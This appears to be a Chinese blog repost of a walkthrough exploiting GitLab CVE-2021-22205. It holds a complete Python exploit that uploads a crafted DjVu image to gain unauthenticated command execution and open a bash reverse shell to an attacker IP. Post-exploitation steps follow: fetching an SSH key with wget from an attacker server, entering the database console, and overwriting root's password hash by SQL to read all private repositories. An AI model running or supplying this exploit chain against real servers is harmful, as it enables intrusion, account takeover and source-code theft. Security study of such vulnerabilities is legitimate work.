网站首页 > 博客文章 正文
影响版本
11.9 <= Gitlab CE/EE < 13.8.8
13.9 <= Gitlab CE/EE < 13.9.6
13.10 <= Gitlab CE/EE < 13.10.3
gitlab漏洞环境
使用vulhub的docker环境,但是总是崩掉
尝试自己安装。参考https://www.yuque.com/h3110n3w0r1d/htbocl/pcbcda
利用方式
通过CVE-2021-22205进行反弹shell
利用脚本:
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import requests
from bs4 import BeautifulSoup
class Exploit():
__info__ = {
'name': 'CVE-2021-22205',
'desription': 'gitlab 未授权远程命令执行',
'references': ['https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22205'],
'devices': ['gitlab',
'11.9=< version <13.8.8',
'13.9=< version <13.9.6',
'13.10=< version <13.10.3'
],
}
target = "192.168.236.130"
port = 8888
reverseShell = "echo '/bin/bash -i >& /dev/tcp/{}/{} 0>&1' > /tmp/shell.sh && chmod 777 /tmp/shell.sh && /bin/bash /tmp/shell.sh"
def exploit(self):
session = requests.Session()
requests.packages.urllib3.disable_warnings()
url = "http://{}:{}".format(self.target, self.port)
try:
r = session.get(url.strip("/") + "/users/sign_in", verify=False)
soup = BeautifulSoup(r.text, features="lxml")
token = soup.findAll('meta')[16].get("content")
data = "\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{" + self.reverseShell + "} . \\\n\" b \") ) \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\n\r\n"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
"Connection": "close",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5",
"X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"}
flag = 'Failed to process image'
req = session.post(url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False)
x = req.text
if flag in x:
return "success!!!"
else:
print("[-] Vuln Check Failed... ...")
return 'failed'
except Exception as error:
print(error.with_traceback())
print("[-] Vuln Check Failed... ...")
return 'failed'
def run(self):
res = self.exploit()
return res
if __name__ == '__main__':
exploit = Exploit()
'''
在GitLab CE/EE中发现一个问题,从11.9开始影响所有版本。
GitLab没有正确地验证传递给文件解析器的图像文件,导致远程命令执行
此脚本利用此漏洞进行反弹shell, 测试前请配置好下面的 listenIp 和 listenPort 参数
'''
exploit.target= "192.168.2.83"
exploit.port = 10000
listenIp = "192.168.2.97"
listenPort = "9999"
exploit.reverseShell = exploit.reverseShell.format(listenIp,listenPort)
result = exploit.run()
print(result)
在攻击机器192.168.2.97上监听9999端口
设置漏洞利用脚本的target(192.168.2.83)和port(10000)值
python3运行脚本,成功反弹shell
在linux下,web目录仅仅只有root用户具有写权限。获取的git用户无写权限。
发现git用户具有操作数据库权限,而gitlab自带了访问数据库的命令:gitlab-rails dbconsole
在反弹的shell处,敲入gitlab-rails dbconsole 无法成功访问,一直卡着,如下图:
查看/etc/passwd
gti用户具有ssh登录权限,向git用户用户写入公钥进行登录,写入公钥的命令方式又很多种,这里使用wget命令
先将生成的公钥放在远程服务器下,在反弹shell处将公钥下载到受害者机器上
wget http://192.168.2.62:8001/gitlab_git.pub
默认情况下git用户的authorized_keys内容为空,如果存在内容的话,先备份一下,再写入。
写入成功后进行ssh登录即可。登录后如下
再次执行gitlab-rails dbconsole 命令
成功获取数据库权限
查看有哪些数据表
发现users表,格式化输出root用户的信息,ps: root的id为1
根据密码特征,可以发现是bcrypt加密,这种加密针对同一种明文每次加密后的密文不一样。也就是说不可逆,但运气好的话,可在cmd5中解开,但又因为gitlab默认的密码策略是8个字符。
最委托的办法就是修改root用户的密码密文值。关于bcrypt加密算法参考https://blog.csdn.net/fengyingkong/article/details/87377061
12345678的密文值为$2a$10$9sM0WeC3WSDCx9HWwr7z7eV3h3Q/tPxP7G2kvCWxWqdJemid1lICa
执行如下sql命令:
update users set encrypted_password='$2a$10$9sM0WeC3WSDCx9HWwr7z7eV3h3Q/tPxP7G2kvCWxWqdJemid1lICa' where e id =1;
注意:在实战情况下,修改root密码密文前,先备份一下,事后恢复。
修改成功后,使用root/12345678登录
访问http://192.168.2.83:10000/admin
可以看到即使private项目也可以访问
可获取gitlab所有的项目代码。
ps:获取gitlab系统所有项目代码是我最大动力…… 另外上述操作均在gitlab默认配置情况下,若漏洞利用无法复现可留言,一起讨论研究。
本文由喜欢和开发玩原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/259862
安全客 - 有思想的安全新媒体
猜你喜欢
- 2024-09-27 gitlab 使用技巧及过程错误记录(gitlab官网)
- 2024-09-27 ubuntu git生成ssh key (公钥私钥)配置github或者码云
- 2024-09-27 全网最全程序员效率工具及小技巧(一)
- 2024-09-27 基于docker的gitlab安装搭建公司的git服务器
- 2024-09-27 DevOps实例之使用GitLab CI进行Laravel应用程序的测试和部署
- 2024-09-27 如何在CentOS7配置Gitlab,图文详细,一看就会
- 2024-09-27 Gitlab不同方式的安装配置及常见场景用法
- 2024-09-27 linux之ssh-keygen命令(linux用ssh命令)
- 2024-09-27 一文让你了解如何配置SSH免密码登录
- 2024-09-27 Java教程:gitlab-使用入门(gitlab4j-api)
你 发表评论:
欢迎- 最近发表
-
- 给3D Slicer添加Python第三方插件库
- Python自动化——pytest常用插件详解
- Pycharm下安装MicroPython Tools插件(ESP32开发板)
- IntelliJ IDEA 2025.1.3 发布(idea 2020)
- IDEA+Continue插件+DeepSeek:开发者效率飙升的「三体组合」!
- Cursor:提升Python开发效率的必备IDE及插件安装指南
- 日本旅行时想借厕所、买香烟怎么办?便利商店里能解决大问题!
- 11天!日本史上最长黄金周来了!旅游万金句总结!
- 北川景子&DAIGO缘定1.11 召开记者会宣布结婚
- PIKO‘PPAP’ 洗脑歌登上美国告示牌
- 标签列表
-
- ifneq (61)
- messagesource (56)
- aspose.pdf破解版 (56)
- promise.race (63)
- 2019cad序列号和密钥激活码 (62)
- window.performance (66)
- qt删除文件夹 (72)
- mysqlcaching_sha2_password (64)
- ubuntu升级gcc (58)
- nacos启动失败 (64)
- ssh-add (70)
- jwt漏洞 (58)
- macos14下载 (58)
- yarnnode (62)
- abstractqueuedsynchronizer (64)
- source~/.bashrc没有那个文件或目录 (65)
- springboot整合activiti工作流 (70)
- jmeter插件下载 (61)
- 抓包分析 (60)
- idea创建mavenweb项目 (65)
- vue回到顶部 (57)
- qcombobox样式表 (68)
- vue数组concat (56)
- tomcatundertow (58)
- pastemac (61)
本文暂时没有评论,来添加一个吧(●'◡'●)